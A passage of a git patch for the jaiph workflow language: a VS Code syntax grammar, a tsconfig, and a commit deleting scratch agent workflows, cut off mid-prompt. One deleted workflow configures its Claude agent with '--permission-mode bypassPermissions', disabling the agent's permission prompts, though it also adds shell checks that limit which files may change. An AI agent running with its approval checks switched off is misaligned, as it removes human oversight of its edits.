"beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.ruby.jaiph", + "patterns": [{ "include": "source.ruby" }] + }, + { + "comment": "[const name =] run ```perl ... ```(args)", + "name": "meta.inline-script.fenced.perl.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(perl)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.perl.jaiph", + "patterns": [{ "include": "source.perl" }] + }, + { + "comment": "[const name =] run ```lua ... ```(args)", + "name": "meta.inline-script.fenced.lua.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(lua)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.lua.jaiph", + "patterns": [{ "include": "source.lua" }] + }, + { + "comment": "[const name =] run ```pwsh|powershell ... ```(args)", + "name": "meta.inline-script.fenced.powershell.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(pwsh|powershell)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.powershell.jaiph", + "patterns": [{ "include": "source.powershell" }] + }, + { + "comment": "[const name =] run ```deno ... ```(args)", + "name": "meta.inline-script.fenced.deno.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(deno)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.javascript.jaiph", + "patterns": [{ "include": "source.js" }] + }, + { + "comment": "[const name =] run ```typescript ... ```(args)", + "name": "meta.inline-script.fenced.typescript.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(typescript)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.typescript.jaiph", + "patterns": [{ "include": "source.ts" }] + }, + { + "comment": "[const name =] run ```bun ... ```(args)", + "name": "meta.inline-script.fenced.bun.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(bun)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.javascript.jaiph", + "patterns": [{ "include": "source.js" }] + }, + { + "comment": "[const name =] run ```php ... ```(args)", + "name": "meta.inline-script.fenced.php.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)(php)\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.php.jaiph", + "patterns": [{ "include": "source.php" }] + }, + { + "comment": "[const name =] run ```[tag]? ... ```(args) (shell default)", + "name": "meta.inline-script.fenced.shell.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(```)([A-Za-z_][A-Za-z0-9_]*)?\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.fence.begin.jaiph" }, + "6": { "name": "entity.name.tag.language.jaiph" } + }, + "end": "^\\s*(```)(\\()(.*?)(\\))\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.fence.end.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + }, + "contentName": "meta.embedded.block.shell.jaiph", + "patterns": [{ "include": "source.shell" }] + } + ] + }, + + "prompt-triple-quoted": { + "patterns": [ + { + "comment": "[const name =] prompt \"\"\"...\"\"\" [returns \"schema\"]", + "name": "meta.prompt.triple-quoted.jaiph", + "begin": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(prompt)\\s+(\"\"\")\\s*$", + "beginCaptures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "punctuation.definition.string.begin.jaiph" } + }, + "end": "^\\s*(\"\"\")(?:\\s+(returns)\\s+(\"(?:\\\\.|[^\"\\\\])*\"))?\\s*$", + "endCaptures": { + "1": { "name": "punctuation.definition.string.end.jaiph" }, + "2": { "name": "keyword.control.returns.jaiph" }, + "3": { "name": "string.quoted.schema.jaiph" } + }, + "contentName": "string.unquoted.prompt.jaiph", + "patterns": [ + { "include": "#string-interpolation" } + ] + } + ] + }, + + "triple-quoted-string": { + "patterns": [ + { + "comment": "Triple-quoted string block \"\"\"...\"\"\"", + "name": "string.quoted.triple.jaiph", + "begin": "\"\"\"\\s*$", + "end": "^\\s*\"\"\"\\s*$", + "patterns": [ + { "include": "#string-interpolation" } + ] + } + ] + }, + + "string-interpolation": { + "patterns": [ + { + "name": "constant.character.escape.jaiph", + "match": "\\\\." + }, + { + "comment": "Inline capture: ${run ref()} or ${ensure ref()}", + "name": "meta.interpolation.capture.jaiph", + "match": "(\\$\\{)\\s*(run|ensure)\\s+([A-Za-z_][A-Za-z0-9_.]*\\([^)]*\\))\\s*(\\})", + "captures": { + "1": { "name": "punctuation.definition.interpolation.begin.jaiph" }, + "2": { "name": "keyword.control.command.jaiph" }, + "3": { "name": "entity.name.function.jaiph" }, + "4": { "name": "punctuation.definition.interpolation.end.jaiph" } + } + }, + { + "comment": "Dot notation: ${var.field}", + "name": "meta.interpolation.dotnotation.jaiph", + "match": "(\\$\\{)([A-Za-z_][A-Za-z0-9_]*)(\\.)([A-Za-z_][A-Za-z0-9_]*)(\\})", + "captures": { + "1": { "name": "punctuation.definition.interpolation.begin.jaiph" }, + "2": { "name": "variable.other.interpolated.jaiph" }, + "3": { "name": "punctuation.accessor.dot.jaiph" }, + "4": { "name": "variable.other.member.jaiph" }, + "5": { "name": "punctuation.definition.interpolation.end.jaiph" } + } + }, + { + "comment": "Variable: ${varName}", + "name": "meta.interpolation.variable.jaiph", + "match": "(\\$\\{)([A-Za-z_][A-Za-z0-9_]*)(\\})", + "captures": { + "1": { "name": "punctuation.definition.interpolation.begin.jaiph" }, + "2": { "name": "variable.other.interpolated.jaiph" }, + "3": { "name": "punctuation.definition.interpolation.end.jaiph" } + } + } + ] + }, + + "declarations": { + "patterns": [ + { + "name": "meta.declaration.config.jaiph", + "match": "\\b(config)\\b\\s*(\\{)", + "captures": { + "1": { "name": "storage.type.config.jaiph" }, + "2": { "name": "punctuation.section.block.begin.jaiph" } + } + }, + { + "comment": "export rule NAME(params) {", + "name": "meta.declaration.rule.jaiph", + "match": "\\b(export)\\b\\s+\\b(rule)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*\\(([^)]*)\\)\\s*(\\{)", + "captures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.rule.jaiph" }, + "3": { "name": "entity.name.function.rule.jaiph" }, + "4": { "name": "variable.parameter.jaiph" }, + "5": { "name": "punctuation.section.block.begin.jaiph" } + } + }, + { + "comment": "export workflow NAME(params) {", + "name": "meta.declaration.workflow.jaiph", + "match": "\\b(export)\\b\\s+\\b(workflow)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*\\(([^)]*)\\)\\s*(\\{)", + "captures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.workflow.jaiph" }, + "3": { "name": "entity.name.function.workflow.jaiph" }, + "4": { "name": "variable.parameter.jaiph" }, + "5": { "name": "punctuation.section.block.begin.jaiph" } + } + }, + { + "comment": "rule NAME(params) {", + "name": "meta.declaration.rule.jaiph", + "match": "\\b(rule)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*\\(([^)]*)\\)\\s*(\\{)", + "captures": { + "1": { "name": "storage.type.rule.jaiph" }, + "2": { "name": "entity.name.function.rule.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.block.begin.jaiph" } + } + }, + { + "comment": "workflow NAME(params) {", + "name": "meta.declaration.workflow.jaiph", + "match": "\\b(workflow)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*\\(([^)]*)\\)\\s*(\\{)", + "captures": { + "1": { "name": "storage.type.workflow.jaiph" }, + "2": { "name": "entity.name.function.workflow.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.block.begin.jaiph" } + } + }, + { + "comment": "test \"description\" {", + "name": "meta.declaration.test.jaiph", + "match": "\\b(test)\\b\\s+(\"(?:\\\\.|[^\"\\\\])*\")\\s*(\\{)", + "captures": { + "1": { "name": "storage.type.test.jaiph" }, + "2": { "name": "string.quoted.double.jaiph" }, + "3": { "name": "punctuation.section.block.begin.jaiph" } + } + } + ] + }, + + "script-declaration": { + "patterns": [ + { + "comment": "[export] script NAME = `body` (single-line backtick)", + "name": "meta.declaration.script.backtick.jaiph", + "match": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*(`[^`]*`)", + "captures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" }, + "5": { "name": "string.unquoted.script.jaiph" } + } + }, + { + "comment": "[export] script NAME = (prefix for non-fence, non-backtick RHS)", + "name": "meta.declaration.script.jaiph", + "match": "^\\s*(?:(export)\\s+)?(script)\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)(?!\\s*```|\\s*`)", + "captures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "storage.type.script.jaiph" }, + "3": { "name": "entity.name.function.script.jaiph" }, + "4": { "name": "keyword.operator.assignment.jaiph" } + } + } + ] + }, + + "variable-declaration": { + "patterns": [ + { + "name": "meta.variable.jaiph", + "match": "\\b(const)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(=)", + "captures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" } + } + } + ] + }, + + "channel-declaration": { + "patterns": [ + { + "comment": "channel NAME [-> handler(s)]", + "name": "meta.channel.declaration.jaiph", + "match": "^\\s*\\b(channel)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)(?:\\s*(->)\\s+(.+))?\\s*$", + "captures": { + "1": { "name": "storage.type.channel.jaiph" }, + "2": { "name": "variable.other.channel.jaiph" }, + "3": { "name": "keyword.operator.route.jaiph" }, + "4": { "name": "entity.name.function.workflow.jaiph" } + } + } + ] + }, + + "config-keys": { + "patterns": [ + { + "name": "meta.config.key-value.jaiph", + "match": "\\b(agent\\.default_model|agent\\.command|agent\\.backend|agent\\.trusted_workspace|agent\\.cursor_flags|agent\\.claude_flags|run\\.logs_dir|run\\.debug|run\\.inbox_parallel|runtime\\.docker_enabled|runtime\\.docker_image|runtime\\.docker_network|runtime\\.docker_timeout|runtime\\.workspace)\\b\\s*(=)", + "captures": { + "1": { "name": "variable.other.property.jaiph" }, + "2": { "name": "keyword.operator.assignment.jaiph" } + } + } + ] + }, + + "if-statement": { + "patterns": [ + { + "comment": "else if varName op operand {", + "name": "meta.conditional.elseif.jaiph", + "match": "\\b(else\\s+if)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(==|!=|=~|!~)\\s*(?:(\"(?:\\\\.|[^\"\\\\])*\")|(/[^/]+/))", + "captures": { + "1": { "name": "keyword.control.conditional.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.comparison.jaiph" }, + "4": { "name": "string.quoted.double.jaiph" }, + "5": { "name": "string.regexp.jaiph" } + } + }, + { + "comment": "if varName op operand {", + "name": "meta.conditional.if.jaiph", + "match": "\\b(if)\\b\\s+([A-Za-z_][A-Za-z0-9_]*)\\s*(==|!=|=~|!~)\\s*(?:(\"(?:\\\\.|[^\"\\\\])*\")|(/[^/]+/))", + "captures": { + "1": { "name": "keyword.control.conditional.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.comparison.jaiph" }, + "4": { "name": "string.quoted.double.jaiph" }, + "5": { "name": "string.regexp.jaiph" } + } + } + ] + }, + + "conditionals": { + "patterns": [ + { + "name": "keyword.control.conditional.jaiph", + "match": "\\b(if|else\\s+if|else)\\b" + } + ] + }, + + "recover-bindings": { + "patterns": [ + { + "comment": "recover (binding) - failure recovery with binding", + "name": "meta.recover.jaiph", + "match": "\\b(recover)\\b\\s*(\\()([A-Za-z_][A-Za-z0-9_]*)(\\))", + "captures": { + "1": { "name": "keyword.control.command.jaiph" }, + "2": { "name": "punctuation.section.parens.begin.jaiph" }, + "3": { "name": "variable.parameter.jaiph" }, + "4": { "name": "punctuation.section.parens.end.jaiph" } + } + } + ] + }, + + "channels": { + "patterns": [ + { + "comment": "inbox <- (forward: sends first declared parameter)", + "name": "meta.send.inbox.jaiph", + "match": "^\\s*\\b(inbox)\\b\\s*(<-)", + "captures": { + "1": { "name": "keyword.control.inbox.jaiph" }, + "2": { "name": "keyword.operator.send.jaiph" } + } + }, + { + "comment": "channel <- message (send)", + "name": "meta.send.jaiph", + "match": "^\\s*([A-Za-z_][A-Za-z0-9_]*)\\s*(<-)", + "captures": { + "1": { "name": "variable.other.channel.jaiph" }, + "2": { "name": "keyword.operator.send.jaiph" } + } + }, + { + "comment": "channel -> handler (route, valid only at top-level channel decl)", + "name": "meta.route.jaiph", + "match": "^\\s*([A-Za-z_][A-Za-z0-9_]*)\\s*(->)\\s+(.+)$", + "captures": { + "1": { "name": "variable.other.channel.jaiph" }, + "2": { "name": "keyword.operator.route.jaiph" }, + "3": { "name": "entity.name.function.workflow.jaiph" } + } + } + ] + }, + + "match-patterns": { + "patterns": [ + { + "comment": "match keyword (statement and expression forms)", + "name": "keyword.control.match.jaiph", + "match": "\\b(match)\\b" + }, + { + "comment": "match arm arrow =>", + "name": "keyword.operator.arrow.jaiph", + "match": "=>" + }, + { + "comment": "wildcard pattern in match arms", + "name": "constant.language.wildcard.jaiph", + "match": "(?<=^\\s*)_(?=\\s*=>)" + }, + { + "comment": "regex pattern in match arms /pattern/", + "name": "string.regexp.jaiph", + "match": "(?<=\\s)(/[^/]+/)(?=\\s)" + } + ] + }, + + "keywords": { + "patterns": [ + { + "comment": "run async (must come before generic run)", + "name": "meta.run-async.jaiph", + "match": "\\b(run)\\b\\s+\\b(async)\\b", + "captures": { + "1": { "name": "keyword.control.command.jaiph" }, + "2": { "name": "keyword.control.async.jaiph" } + } + }, + { + "name": "keyword.control.command.jaiph", + "match": "\\b(ensure|run|prompt|log|logerr|recover|fail|return|wait)\\b" + }, + { + "name": "keyword.control.test.jaiph", + "match": "\\b(mock|respond|allow_failure)\\b" + }, + { + "name": "keyword.other.assertion.jaiph", + "match": "\\b(expectContain|expectNotContain|expectEqual)\\b" + }, + { + "name": "storage.modifier.jaiph", + "match": "\\b(export)\\b" + }, + { + "comment": "script keyword (for declarations)", + "name": "storage.type.script.jaiph", + "match": "\\b(script)\\b" + } + ] + }, + + "returns-clause": { + "patterns": [ + { + "name": "meta.returns.jaiph", + "match": "\\b(returns)\\b\\s*(\"(?:\\\\.|[^\"\\\\])*\")", + "captures": { + "1": { "name": "keyword.control.returns.jaiph" }, + "2": { "name": "string.quoted.schema.jaiph" } + } + } + ] + }, + + "constants": { + "patterns": [ + { + "name": "constant.language.boolean.jaiph", + "match": "\\b(true|false)\\b" + }, + { + "name": "constant.numeric.integer.jaiph", + "match": "\\b([0-9]+)\\b" + } + ] + }, + + "inline-script-backtick": { + "patterns": [ + { + "comment": "[const name =] run `body`(args) — single-line inline script", + "name": "meta.inline-script.backtick.jaiph", + "match": "(?:(?:(const)\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*(=)\\s*)?(run)\\s+(`[^`]*`)(\\()([^)]*)(\\))", + "captures": { + "1": { "name": "storage.modifier.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "keyword.operator.assignment.jaiph" }, + "4": { "name": "keyword.control.command.jaiph" }, + "5": { "name": "string.unquoted.script.jaiph" }, + "6": { "name": "punctuation.section.parens.begin.jaiph" }, + "7": { "name": "variable.parameter.jaiph" }, + "8": { "name": "punctuation.section.parens.end.jaiph" } + } + } + ] + }, + + "variable-reference": { + "patterns": [ + { + "comment": "Variable reference outside strings: ${var.field} (dot notation)", + "name": "meta.interpolation.dotnotation.jaiph", + "match": "(\\$\\{)([A-Za-z_][A-Za-z0-9_]*)(\\.)([A-Za-z_][A-Za-z0-9_]*)(\\})", + "captures": { + "1": { "name": "punctuation.definition.variable.begin.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "punctuation.accessor.dot.jaiph" }, + "4": { "name": "variable.other.member.jaiph" }, + "5": { "name": "punctuation.definition.variable.end.jaiph" } + } + }, + { + "comment": "Variable reference outside strings: ${var}", + "name": "meta.interpolation.variable.jaiph", + "match": "(\\$\\{)([A-Za-z_][A-Za-z0-9_]*)(\\})", + "captures": { + "1": { "name": "punctuation.definition.variable.begin.jaiph" }, + "2": { "name": "variable.other.jaiph" }, + "3": { "name": "punctuation.definition.variable.end.jaiph" } + } + } + ] + }, + + "references": { + "patterns": [ + { + "comment": "Qualified reference: module.member", + "name": "meta.reference.qualified.jaiph", + "match": "\\b([A-Za-z_][A-Za-z0-9_]*)(\\.)([A-Za-z_][A-Za-z0-9_]*)\\b", + "captures": { + "1": { "name": "entity.name.namespace.jaiph" }, + "2": { "name": "punctuation.accessor.dot.jaiph" }, + "3": { "name": "variable.other.member.jaiph" } + } + } + ] + }, + + "strings": { + "patterns": [ + { + "name": "string.quoted.double.jaiph", + "begin": "\"", + "beginCaptures": { + "0": { "name": "punctuation.definition.string.begin.jaiph" } + }, + "end": "\"", + "endCaptures": { + "0": { "name": "punctuation.definition.string.end.jaiph" } + }, + "patterns": [ + { "include": "#string-interpolation" } + ] + } + ] + }, + + "operators": { + "patterns": [ + { + "name": "keyword.operator.comparison.jaiph", + "match": "==|!=|=~|!~" + }, + { + "name": "keyword.operator.assignment.jaiph", + "match": "(?=!])=(?![>=~])" + }, + { + "name": "punctuation.section.block.begin.jaiph", + "match": "\\{" + }, + { + "name": "punctuation.section.block.end.jaiph", + "match": "\\}" + } + ] + } + } +} diff --git a/plugins/vscode/tsconfig.json b/plugins/vscode/tsconfig.json new file mode 100644 index 00000000..342f315f --- /dev/null +++ b/plugins/vscode/tsconfig.json @@ -0,0 +1,16 @@ +{ + "compilerOptions": { + "module": "commonjs", + "target": "ES2022", + "lib": ["ES2022"], + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "outDir": "dist", + "rootDir": "src", + "sourceMap": true + }, + "include": ["src"], + "exclude": ["node_modules", ".tmp-jaiph-*"] +} diff --git a/plugins/zed/README.md b/plugins/zed/README.md new file mode 100644 index 00000000..13928adf --- /dev/null +++ b/plugins/zed/README.md @@ -0,0 +1,3 @@ +# Jaiph for Zed + +Placeholder. Implement via the QUEUE task that creates a Zed language extension under this directory (`extension.toml`, `languages/jaiph/`, Tree-sitter grammar pin). From 289a623c3d8081ddde1daba77ae5cc3daf39718e Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Wed, 29 Jul 2026 10:42:57 +0200 Subject: [PATCH 20/24] Chore: replace ad-hoc .jaiph scratch with a serve/mcp hub Add main.jh as the exported workflow entrypoint for project maintenance and drop obsolete scratch workflows plus a one-off security review note. Co-authored-by: Cursor --- .jaiph/async.jh | 25 --- .jaiph/docs_parity_redesign.jh | 208 ------------------- .jaiph/main.jh | 81 ++++++++ .jaiph/sandbox.jh | 9 - .jaiph/security_review_2026-07-20.md | 297 --------------------------- 5 files changed, 81 insertions(+), 539 deletions(-) delete mode 100755 .jaiph/async.jh delete mode 100755 .jaiph/docs_parity_redesign.jh create mode 100644 .jaiph/main.jh delete mode 100755 .jaiph/sandbox.jh delete mode 100644 .jaiph/security_review_2026-07-20.md diff --git a/.jaiph/async.jh b/.jaiph/async.jh deleted file mode 100755 index 8abcd209..00000000 --- a/.jaiph/async.jh +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env jaiph - -const prompt_text = "Say: Greetings! I am [model name]." - -workflow cursor_say_hello(name) { - config { - agent.backend = "cursor" - } - const response = prompt "${prompt_text}" - log response -} - -workflow claude_say_hello(name) { - config { - agent.backend = "claude" - } - const response = prompt "${prompt_text}" - log response -} - -# surrounding workflow waits for all to complete -workflow default(name) { - run async cursor_say_hello(name) - run async claude_say_hello(name) -} diff --git a/.jaiph/docs_parity_redesign.jh b/.jaiph/docs_parity_redesign.jh deleted file mode 100755 index ffc73b2f..00000000 --- a/.jaiph/docs_parity_redesign.jh +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env jaiph - -config { - agent.backend = "claude" - agent.model = "opus" - agent.claude_flags = "--permission-mode bypassPermissions" -} - -# Redesign-aware variant of docs_parity.jh, meant to be run BY HAND after the -# Diátaxis docs redesign (QUEUE.md "Docs redesign" tasks 1-7) has landed. -# -# Differences from docs_parity.jh: -# - Lists docs recursively and EXCLUDES docs/_legacy/ (the build-excluded -# quarantine of the pre-redesign pages). The stock workflow globs only the -# flat docs/*.md and would both miss nested pages and risk touching legacy. -# - The overview pass VERIFIES and tightens the new Diátaxis structure against -# the source code; it does NOT merge / split / move / re-quadrant pages the -# way the stock docs_overview does (that would undo the redesign). -# - Docs-only: it never edits src/ or usage.ts. -# -# Run on a clean worktree: jaiph run .jaiph/docs_parity_redesign.jh - -const role = """ - Project-specific context for documenting Jaiph: - - You read TypeScript and Bash fluently so you can verify documentation - against the implementation. - - Source code and docs/architecture.md are the single source of truth. - Do not trust existing documentation blindly; verify claims against the - code before reproducing them. - - Navigation links between docs pages are provided by the Jekyll template - (docs/_layouts/docs.html). Do not add manual navigation blocks (e.g. - "More Documentation" sections) to individual markdown pages — inline - contextual links to other docs are fine. - - docs/_legacy/ is a build-excluded quarantine of the OLD documentation. - Never read it as a source, never edit it, never resurrect its pages. -""" - -script assert_worktree_clean_for_docs = ``` - local current_changed_files - current_changed_files="$( - { - git diff --name-only --cached - git diff --name-only - git ls-files --others --exclude-standard - } | sort -u - )" - if [ -n "$current_changed_files" ]; then - echo "Refusing to run docs parity workflow on a dirty worktree." >&2 - echo "Please commit, stash, or discard these files first:" >&2 - echo "$current_changed_files" >&2 - return 1 - fi -``` - -rule worktree_is_clean() { - run assert_worktree_clean_for_docs() -} - -script assert_newline_paths_are_files = ``` - while IFS= read -r f; do - f="${f#"${f%%[![:space:]]*}"}" - f="${f%"${f##*[![:space:]]}"}" - [ -z "$f" ] && continue - test -f "$f" || return 1 - done <<< "$1" -``` - -rule docs_files_present(list) { - run assert_newline_paths_are_files(list) -} - -# Pattern-based allowlist (not a frozen snapshot): permit the doc entry points -# and ANY docs/**/*.md page — so pages the prompt legitimately CREATES still -# pass — while rejecting source, tests, .jaiph/, scratch files, and the -# quarantine / vendored / generated trees. -script assert_only_allowed_changed = ``` - local after_changed_files - after_changed_files="$( - { - git diff --name-only --cached - git diff --name-only - git ls-files --others --exclude-standard - } | sort -u - )" - while IFS= read -r changed_file; do - [ -z "$changed_file" ] && continue - case "$changed_file" in - README.md|CHANGELOG.md|docs/index.html|docs/_layouts/docs.html|docs/_config.yml) - continue ;; - esac - if printf '%s\n' "$changed_file" | grep -qE '^docs/.*\.md$' \ - && ! printf '%s\n' "$changed_file" | grep -qE '(^|/)docs/(_legacy|vendor|_site)/'; then - continue - fi - echo "Unexpected file changed by docs prompt: $changed_file" >&2 - return 1 - done <<< "$after_changed_files" -``` - -rule only_expected_docs_changed_after_prompt() { - run assert_only_allowed_changed() -} - -# Recursive list of published docs pages, excluding quarantine, Jekyll output, -# and Bundler's docs/vendor/ tree. BSD/macOS find treats * in -path as not -# crossing '/', so prune -path 'docs/vendor/*' misses nested gem READMEs; use -# grep instead of case (POSIX case patterns do not let * match '/' either). -script list_docs_md_paths = ``` - find docs -type f -name '*.md' -print \ - | grep -vE '(^|/)docs/(_legacy|vendor|_site)/' \ - | sort -``` - -# Files the parity prompts are permitted to change (docs only — never src). -script build_allowed_paths_block = ``` - { - printf '%s\n' README.md CHANGELOG.md docs/index.html docs/_layouts/docs.html docs/_config.yml - find docs -type f -name '*.md' -print \ - | grep -vE '(^|/)docs/(_legacy|vendor|_site)/' - } | sort -u -``` - -workflow docs_page(path) { - prompt """ - Before doing anything else, read and follow the documentation skill at - .jaiph/skills/documentation-writer/SKILL.md. It defines the Diátaxis - framework, the four document types, the clarify -> outline -> write - workflow, and the four guiding principles (clarity, 